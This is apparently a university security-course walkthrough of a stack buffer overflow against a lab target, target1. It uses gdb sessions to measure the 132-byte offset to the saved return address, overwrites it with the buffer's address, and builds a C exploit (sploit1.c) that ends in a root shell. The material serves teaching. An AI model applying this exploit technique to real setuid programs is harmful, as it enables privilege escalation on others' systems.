PROJECT #3 – Smashing target1

-Look at the code in target1.c as you follow along.

-First, let's just crash the target, then open it up in gdb. The backquotes turn the command's output into the argument to target1. This passes 150 "a"s to target1.

```
user@box:~/proj3/sploits$ ../targets/target1 `perl -e 'print "a"x150;'`
Segmentation fault

user@box:~/proj3/sploits$ gdb ../targets/target1
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show
copying" and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/user/proj3/targets/target1...done.

(gdb) set args "`perl -e 'print "a"x150;'`"
(gdb) b foo
Breakpoint 1 at 0x804847c: file target1.c, line 14.

(gdb) run
Starting program: /home/user/proj3/targets/target1 "`perl -e 'print
"a"x150;'`"

Breakpoint 1, foo (argv=0xbffff774) at target1.c:14
14        bar(argv[1], buf);

(gdb) info frame
Stack level 0, frame at 0xbffff6a0:
 eip = 0x804847c in foo (target1.c:14); saved eip 0x80484f0
 called by frame at 0xbffff6c0
 source language c.
 Arglist at 0xbffff698, args: argv=0xbffff774
 Locals at 0xbffff698, Previous frame's sp is 0xbffff6a0
 Saved registers:
  ebp at 0xbffff698, eip at 0xbffff69c
```

- The return address is stored at 0xbffff69c, and has a value 0x80484f0 according to 'info frame', let's verify this.

```
(gdb) x 0xbffff69c
0xbffff69c: 0x080484f0
```

- We want to set a breakpoint in foo right after bar returns, we do this by setting a breakpoint at the 'leave' instruction. So first we disassemble foo.

```
(gdb) disas foo
Dump of assembler code for function foo:
0x08048473 <foo+0>:     push   %ebp
0x08048474 <foo+1>:     mov    %esp,%ebp
0x08048476 <foo+3>:     sub    $0x98,%esp
0x0804847c <foo+9>:     mov    0x8(%ebp),%eax
0x0804847f <foo+12>:    add    $0x4,%eax
0x08048482 <foo+15>:    mov    (%eax),%edx
0x08048484 <foo+17>:    lea    -0x80(%ebp),%eax
0x08048487 <foo+20>:    mov    %eax,0x4(%esp)
0x0804848b <foo+24>:    mov    %edx,(%esp)
0x0804848e <foo+27>:    call   0x8048454 <bar>
0x08048493 <foo+32>:    leave
0x08048494 <foo+33>:    ret    End of assembler dump.
```

- We set a breakpoint at the 'leave' instruction (`0x08048493`) and continue.

```
(gdb) b *0x8048493
Breakpoint 2 at 0x8048493: file target1.c, line 15.

(gdb) c
Continuing.

Breakpoint 2, foo (argv=0x61616161) at target1.c:15
15     }
```

- Now we examine foo's frame information and look at the return address after our invocation of bar().

```
(gdb) info frame
Stack level 0, frame at 0xbffff6a0:
 eip = 0x8048493 in foo (target1.c:15); saved eip 0x61616161
 called by frame at 0x61616169
 source language c.
 Arglist at 0xbffff698, args: argv=0x61616161
 Locals at 0xbffff698, Previous frame's sp is 0xbffff6a0
 Saved registers:
  ebp at 0xbffff698, eip at 0xbffff69c
```

- The saved eip at address 0xbffff69c has been overwritten with 0x61616161, which is hex for "aaaa". We want to know the address of the buffer we're overflowing, we can get buf's address when we're in foo's stack frame by typing:

```
(gdb) x buf
0xbffff618: 0x61616161
```

- Hence, the beginning of buf is located at 0xbffff618, and the first four bytes of buf are "aaaa" (as we'd expect). When we construct our attack string, we want to know how many bytes past the end of "buf" we have to overflow in order to overwrite the return address. We can use gdb to calculate this like so:

```
(gdb) print 0xbffff69c - 0xbffff618
$1 = 132
```

- Here the first argument is the stack location of our saved $eip (return address), and the second address is the beginning of "buf". Note that buf is lower in memory than the return address, because local variables go on top of the stack above the frame pointer, and on our architecture the stack grows downward.

-Let's test that our distance measurement is correct by writing 132 bytes of the fill pattern "a", then writing a specific value to the return address.

```
(gdb) set args "`perl -e 'print "a"x132 . "\x12\x34\x56\x78";'`"
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/user/proj3/targets/target1 "`perl -e 'print
"a"x140 . "\x12\x34\x56\x78";'`"

Breakpoint 1, foo (argv=0xbffff784) at target1.c:14
14        bar(argv[1], buf);
```

- The first break point is before bar does the strcpy(), and we examine the frame. Everything looks normal so far...

```
(gdb) info frame
Stack level 0, frame at 0xbffff6b0:
 eip = 0x804847c in foo (target1.c:14); saved eip 0x80484f0
 called by frame at 0xbffff6d0
 source language c.
 Arglist at 0xbffff6a8, args: argv=0xbffff784
 Locals at 0xbffff6a8, Previous frame's sp is 0xbffff6b0
 Saved registers:
  ebp at 0xbffff6a8, eip at 0xbffff6ac

(gdb) c
Continuing.

Breakpoint 2, foo (argv=0xbffff700) at target1.c:15
15    }
```

- Now we've broken right after bar() returns but we're still inside foo's stack frame.

```
(gdb) info frame
Stack level 0, frame at 0xbffff6b0:
 eip = 0x8048493 in foo (target1.c:15); saved eip 0x78563412
 called by frame at 0x61616169
 source language c.
 Arglist at 0xbffff6a8, args: argv=0xbffff700
 Locals at 0xbffff6a8, Previous frame's sp is 0xbffff6b0
 Saved registers:
  ebp at 0xbffff6a8, eip at 0xbffff6ac

(gdb) x 0xbffff6ac
0xbffff6ac: 0x78563412
```

-If we examine this information, we note that we've changed the saved $eip to the hex pattern we wrote. (This is little endian, so the bytes are reversed). Now if we want to try to make foo() jump to the beginning of buf when it returns, first we get the address of buf, then write it in our argument string. (Again, little endian).

```
(gdb) x buf
0xbffff628: 0x61616161

(gdb) set args "`perl -e 'print "a"x132 . "\x28\xf6\xff\xbf"';`"

(gdb) run

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/user/proj3/targets/target1 "`perl -e 'print
"a"x132 . "\x28\xf6\xff\xbf"';`"

Breakpoint 1, foo (argv=0xbffff784) at target1.c:14
14        bar(argv[1], buf);

(gdb) info frame
Stack level 0, frame at 0xbffff6b0:
 eip = 0x804847c in foo (target1.c:14); saved eip 0x80484f0
 called by frame at 0xbffff6d0
 source language c.
 Arglist at 0xbffff6a8, args: argv=0xbffff784
 Locals at 0xbffff6a8, Previous frame's sp is 0xbffff6b0
 Saved registers:
  ebp at 0xbffff6a8, eip at 0xbffff6ac
```

-Everything is normal so far. Now we continue and see what happens after our buffer has been overflowed.

```
(gdb) c
Continuing.

Breakpoint 2, foo (argv=0xbffff700) at target1.c:15
15    }
```

```
(gdb) info frame
Stack level 0, frame at 0xbffff6b0:
 eip = 0x8048493 in foo (target1.c:15); saved eip 0xbffff628
 called by frame at 0x61616169
 source language c.
 Arglist at 0xbffff6a8, args: argv=0xbffff700
 Locals at 0xbffff6a8, Previous frame's sp is 0xbffff6b0
 Saved registers:
  ebp at 0xbffff6a8, eip at 0xbffff6ac

(gdb) x buf
0xbffff628: 0x61616161
```

-We wrote the address of buf into the return address. Now examine what happens when we return into buf.

```
(gdb) stepi
0x08048494 in foo (argv=Cannot access memory at address 0x61616169
) at target1.c:15
15    }

(gdb) stepi
Cannot access memory at address 0x61616165

(gdb) stepi
0xbffff629 in ?? ()
```

-The instruction pointer is pointing at the beginning of buf so we've jumped to buf. If we placed shellcode at the beginning of buf, then right now target1 would be executing the shellcode. Let's examine the contents of what the instruction pointer is pointing at (and thus what the processor is trying to execute).

```
(gdb) x /10c $eip
0xbffff629: 97 'a' 97 'a' 97 'a' 97 'a' 97 'a' 97 'a' 97 'a' 97 'a'
0xbffff631: 97 'a' 97 'a'
```

-"x /10c $eip" prints out ten characters beginning at $eip, and as you can see the characters are "a", which is what we've been writing into the buffer.

```
(gdb) x /10i $eip
0xbffff629: popa
0xbffff62a: popa
0xbffff62b: popa
0xbffff62c: popa
0xbffff62d: popa
0xbffff62e: popa
0xbffff62f: popa
0xbffff630: popa
0xbffff631: popa
0xbffff632: popa
```

- "x /10i $eip" prints out the next ten instructions beginning at $eip. We get a bunch of popa commands, which is what "a" (0x61) translates into in x86 assembly.

```
(gdb) quit
```

-Now let's write this up in C (in sploit1.c). We construct our attack string and put it as an argument. We need 132 bytes to get to the beginning of our return address, 4 bytes for the return address, and 1 byte for a NULL terminator (because of strcpy).

```
int main(void)
{
  char *args[3];
  char *env[1];
  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  args[1] = malloc(137);
```

We cannot leave nulls in our string.

```
  // 0x90 is NOP in x86 assembly.
  memset(args[1], 0x90, 136);

  args[1][136] = '\0'; // NULL terminate the string.
  memcpy(args[1], shellcode, strlen(shellcode));
```

- Now we need to set the part of the string corresponding to the return address. For now we'll just put a value in. Since sploit1 calls exec to execute target1, the environment for target1 will be different, and hence the address of buf is different than when we just execute ./target1. The address of buf is also affected by the length of our attack string.

```
  *(unsigned int *)(args[1] + 132) = 0x12345678;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}
```

```
user@box:~/proj3/sploits$ make
gcc-4.3 -ggdb -c -o sploit1.o sploit1.c
gcc-4.3   sploit1.o   -o sploit1

user@box:~/proj3/sploits$ ./sploit1
Segmentation fault
```

-This obviously doesn't work because we haven't yet set a correct return address. We need to know what the value of the addresses are when we execute target1 from sploit1. We can find out by launching gdb this way:

```
user@box:~/proj3/sploits$ gdb -e sploit1 -s ../targets/target1
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show
copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
```

```
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/user/proj3/targets/target1...done.

(gdb) catch exec
Catchpoint 1 (exec)
```

- 'catch exec' allows us to follow the execution after the exec call.

```
(gdb) run
Starting program: /home/user/proj3/sploits/sploit1
Executing new program: /tmp/target1

Catchpoint 1 (exec'd /tmp/target1), 0xb7fe3850 in ?? () from /lib/ld-
linux.so.2

(gdb) b foo
Breakpoint 2 at 0x804847c: file target1.c, line 14.
```

- Note that you MUST set the break point after you call 'run', otherwise you'll get another segfault.

```
(gdb) c
Continuing.

Breakpoint 2, foo (argv=0xbffffe84) at target1.c:14
14      bar(argv[1], buf);
```

-Now that we've broken in foo, let's find the address of 'buf'.

```
(gdb) info frame
Stack level 0, frame at 0xbffffdb0:
 eip = 0x804847c in foo (target1.c:14); saved eip 0x80484f0
 called by frame at 0xbffffdd0
 source language c.
 Arglist at 0xbffffda8, args: argv=0xbffffe84
 Locals at 0xbffffda8, Previous frame's sp is 0xbffffdb0
 Saved registers:
  ebp at 0xbffffda8, eip at 0xbffffdac

(gdb) x buf
0xbffffd28: 0xb7fe1b48

(gdb) quit
A debugging session is active.

      Inferior 1 [process 1435] will be killed.

Quit anyway? (y or n) y
```

-This is the address we are looking for, we edit our exploit (sploit.c) and set the value of the return address to buf's address.

```
*(unsigned int*)(args[1] + 132) = 0xbffffd28;
```

-Compile and test the exploit.

```
user@box:~/proj3/sploits$ make
gcc-4.3 -ggdb   -c -o sploit1.o sploit1.c
gcc-4.3   sploit1.o   -o sploit1

user@box:~/proj3/sploits$ ./sploit1

# whoami
root
```

-We've successfully achieved a root shell, which is what we've been aiming for all along.